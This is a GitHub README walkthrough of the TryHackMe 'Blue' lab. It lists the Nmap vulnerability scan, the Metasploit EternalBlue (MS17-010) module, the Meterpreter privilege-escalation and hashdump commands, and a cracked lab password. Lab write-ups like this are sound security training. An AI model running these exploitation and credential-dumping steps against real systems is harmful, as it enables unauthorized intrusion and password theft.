TryHackMe Blue Walkthrough

Overview

This repository contains my penetration testing walkthrough and report for the TryHackMe Blue room. The objective was to identify and exploit the MS17-010 (EternalBlue) vulnerability, gain system access, perform privilege escalation, extract password hashes, crack credentials, and retrieve all system flags.

Room Information

• Platform: TryHackMe
• Room: Blue
• Difficulty: Easy
• Target OS: Windows 7 / Windows Server 2008 R2
• Vulnerability: MS17-010 (EternalBlue)

Objectives

• Perform reconnaissance and service enumeration
• Identify vulnerabilities
• Exploit the target using EternalBlue
• Gain a Meterpreter session
• Escalate privileges to SYSTEM
• Extract and crack password hashes
• Locate and retrieve all flags

Tools Used

Tool	Purpose
Nmap	Network reconnaissance and vulnerability scanning
Metasploit Framework	Exploitation and post-exploitation
Meterpreter	Post-exploitation activities
John the Ripper	Password hash cracking
Kali Linux	Attacking platform

Methodology

1. Reconnaissance

Performed an Nmap scan to identify open ports and services.

nmap -sC -sV -Pn --script vuln <TARGET-IP>

Findings:

• TCP 135 – MSRPC
• TCP 139 – NetBIOS
• TCP 445 – SMB

The scan identified the host as vulnerable to:

MS17-010 (EternalBlue)

2. Exploitation

Started Metasploit and selected the EternalBlue exploit module.

use exploit/windows/smb/ms17_010_eternalblue

Configured:

set RHOSTS <TARGET-IP>
run

Successful exploitation resulted in a Meterpreter session.

3. Privilege Escalation

Verified SYSTEM privileges and migrated to a stable process.

Commands used:

getsystem
whoami
ps
migrate <PID>

4. Hash Extraction and Cracking

Dumped SAM hashes using:

hashdump

Extracted user account:

Jon

Cracked password:

alqfna2

5. Flag Discovery

Located all flags using Meterpreter search functionality.

search -f flag*.txt

Retrieved:

• Flag 1
• Flag 2
• Flag 3

Screenshots

Screenshots for each stage of the assessment are located in the /screenshots directory.

Examples:

• Nmap Enumeration
• Vulnerability Detection
• Exploit Execution
• Meterpreter Session
• Hashdump
• Flag Retrieval

Skills Demonstrated

• Network Enumeration
• Vulnerability Assessment
• Exploitation
• Post-Exploitation
• Windows Privilege Escalation
• Credential Access
• Password Cracking
• Documentation and Reporting

Disclaimer

This project was completed within a legal lab environment provided by TryHackMe for educational and ethical hacking purposes only.

Author

Frank Kofi Awen

• GitHub: https://github.com/faceless122/tryhackme-blue-walkthrough.git
• LinkedIn: www.linkedin.com/in/awenfrank

References

• Microsoft MS17-010 Security Bulletin
• Metasploit Framework Documentation
• TryHackMe Blue Room